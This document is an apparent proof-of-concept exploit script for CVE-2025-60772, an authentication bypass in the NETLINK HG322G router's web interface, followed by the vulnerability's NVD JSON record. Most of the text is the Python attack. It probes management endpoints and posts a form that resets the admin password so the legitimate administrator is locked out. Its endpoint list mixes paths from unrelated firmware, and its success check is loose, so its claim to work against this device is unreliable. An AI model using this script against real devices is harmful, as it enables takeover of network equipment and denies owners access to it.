CVE-2025-60772

#!/usr/bin/env python3 # CVE-2025-60772 - NETLINK HG322G Authentication Bypass PoC # Exploits improper authentication in web-based management interface # to escalate privileges and lock out the legitimate administrator import requests import sys import argparse TARGET_PORT = 80 # Default web management port def exploit_auth_bypass(target_ip, port=TARGET_PORT): """ Send crafted HTTP requests to bypass authentication and lock out the legitimate administrator account. """ base_url = f"http://{target_ip}:{port}" session = requests.Session() # Step 1: Access management endpoint without authentication # The device fails to validate session/auth tokens on certain endpoints auth_bypass_endpoints = [ "/cgi-bin/luci", "/boaform/admin/formUser", "/cgi-bin/webproc", "/admin.html", "/cgi-bin/login.cgi" ] for endpoint in auth_bypass_endpoints: url = base_url + endpoint try: # Attempt to access privileged endpoint without credentials response = session.get(url, timeout=10) print(f"[*] Probing endpoint: {url} -> Status: {response.status_code}") # Step 2: Craft malicious request to modify admin credentials # and lock out the legitimate administrator payload = { "username": "admin", "old_passwd": "", "new_passwd": "locked_by_attacker", "confirm_passwd": "locked_by_attacker", "action": "apply", "submit": "Apply" } headers = { "Content-Type": "application/x-www-form-urlencoded", "Referer": base_url + "/", "User-Agent": "Mozilla/5.0" } # Send crafted HTTP request to escalate privileges resp = session.post(url, data=payload, headers=headers, timeout=10) print(f"[+] Exploit response from {url}: {resp.status_code}") if resp.status_code == 200 and ("success" in resp.text.lower() or "ok" in resp.text.lower()): print(f"[+] Authentication bypass successful on {endpoint}") print(f"[+] Administrator account has been locked/modified") return True except requests.exceptions.RequestException as e: print(f"[-] Error connecting to {url}: {e}") continue return False def main(): parser = argparse.ArgumentParser(description="CVE-2025-60772 PoC - NETLINK HG322G Auth Bypass") parser.add_argument("target", help="Target IP address of NETLINK HG322G device") parser.add_argument("-p", "--port", type=int, default=TARGET_PORT, help="Target port (default: 80)") args = parser.parse_args() print(f"[*] Targeting NETLINK HG322G at {args.target}:{args.port}") print(f"[*] CVE-2025-60772 - Improper Authentication Exploit") print(f"[*] WARNING: This PoC is for educational/research purposes only\n") if exploit_auth_bypass(args.target, args.port): print("\n[!] Exploit completed successfully") sys.exit(0) else: print("\n[-] Exploit failed - target may not be vulnerable or endpoint differs") sys.exit(1) if __name__ == "__main__": main()

{"cve": {"id": "CVE-2025-60772", "sourceIdentifier": "[email protected]", "published": "2025-10-21T17:15:40.437", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper authentication in the web-based management interface of NETLINK HG322G V1.0.00-231017, allows a remote unauthenticated attacker to escalate privileges and lock out the legitimate administrator via crafted HTTP requests."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-287"}]}], "references": [{"url": "https://github.com/navy-birds-MRS/vuln-reports/blob/main/vendors/netlink/CVE-2025-60772/advisory.md", "source": "[email protected]"}, {"url": "https://netlinkict.com/shop/gpon-ont/gpon-ont-hg322g/", "source": "[email protected]"}, {"url": "https://github.com/navy-birds-MRS/vuln-reports/blob/main/vendors/netlink/CVE-2025-60772/advisory.md", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}